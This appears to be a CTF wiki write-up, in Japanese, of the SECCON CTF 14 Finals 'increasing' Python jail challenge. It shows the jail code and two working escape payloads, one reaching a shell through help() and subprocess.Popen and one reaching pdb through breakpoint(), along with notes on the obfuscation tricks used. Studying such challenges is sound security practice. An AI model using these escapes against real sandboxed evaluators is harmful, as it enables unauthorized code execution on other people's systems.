pyjail wiki

SECCON CTF 14 Finals - increasing

Challenge

Python 3.14.3。130文字以内のASCIIコードで、ワード(\w+)の長さが常に増加している必要がある。

jail.py
code = input("code> ")[:130]
if not code.isascii():
print("bye")
exit(1)
max_len = 0
for m in __import__("re").finditer(r"\w+", code):
if len(m[0]) <= max_len:
print("bye")
exit(1)
max_len = len(m[0])
eval(code, {"__builtins__": {}})

Solution

解法1: help()経由

__reduce_ex__でbuiltinsを取得し、help()を対話モードで起動:

[].__reduce_ex__(-~([]==[]))[[]<[]].__getattribute__("\u005f_builtins__x"[:~([]<[])])["\U00000068elpxxxxxx"[:-~-~-~([]==[])]]()

helpでモジュールをロードすると__subclasses__()の中身が更新される。subprocessをロードしてPopenを増やし、その後jailをロードして再度code入力を行う:

help> subprocess
help> jail
....__eq__.__objclass__.__subclasses__()[~-~-~-~-~([]==[])]("shxxxxxxxxxxxxx"[:-~([]==[])])

解法2: breakpoint()経由

breakpoint()は内部で__import__などのbuiltin要素を使用するため、空の__builtins__のままだとエラーになる。walrus演算子でグローバルの __builtins__を上書きしてから呼び出す:

(__builtins__:="".__reduce_ex__(-~(()==()))[()<()].__getattribute__("\u005f_builtins__X"[:~(()<())]))["\U00000062reakpoint"]()

pdbが起動するので任意コード実行可能。

Technical Details

__reduce_ex__の活用

pickleプロトコル用のメソッドで、空のbuiltinsからでも__builtins__を取得できる:

[].__reduce_ex__(2)[0].__getattribute__('__builtins__')

増加制約のバイパス

技術説明
Unicode エスケープ\u005f(_)、\U00000068(h)
文字列スライス長い文字列から必要な部分を切り出す
比較演算子[]==[]True(=1)、[]<[]False(=0)
ビット演算-~xx+1

help による subclasses の更新

help()でモジュールのドキュメントを表示すると、そのモジュールがインポートされる。結果としてobject.__subclasses__()に新しいクラスが追加され、subprocess.Popenなどにアクセス可能になる。

References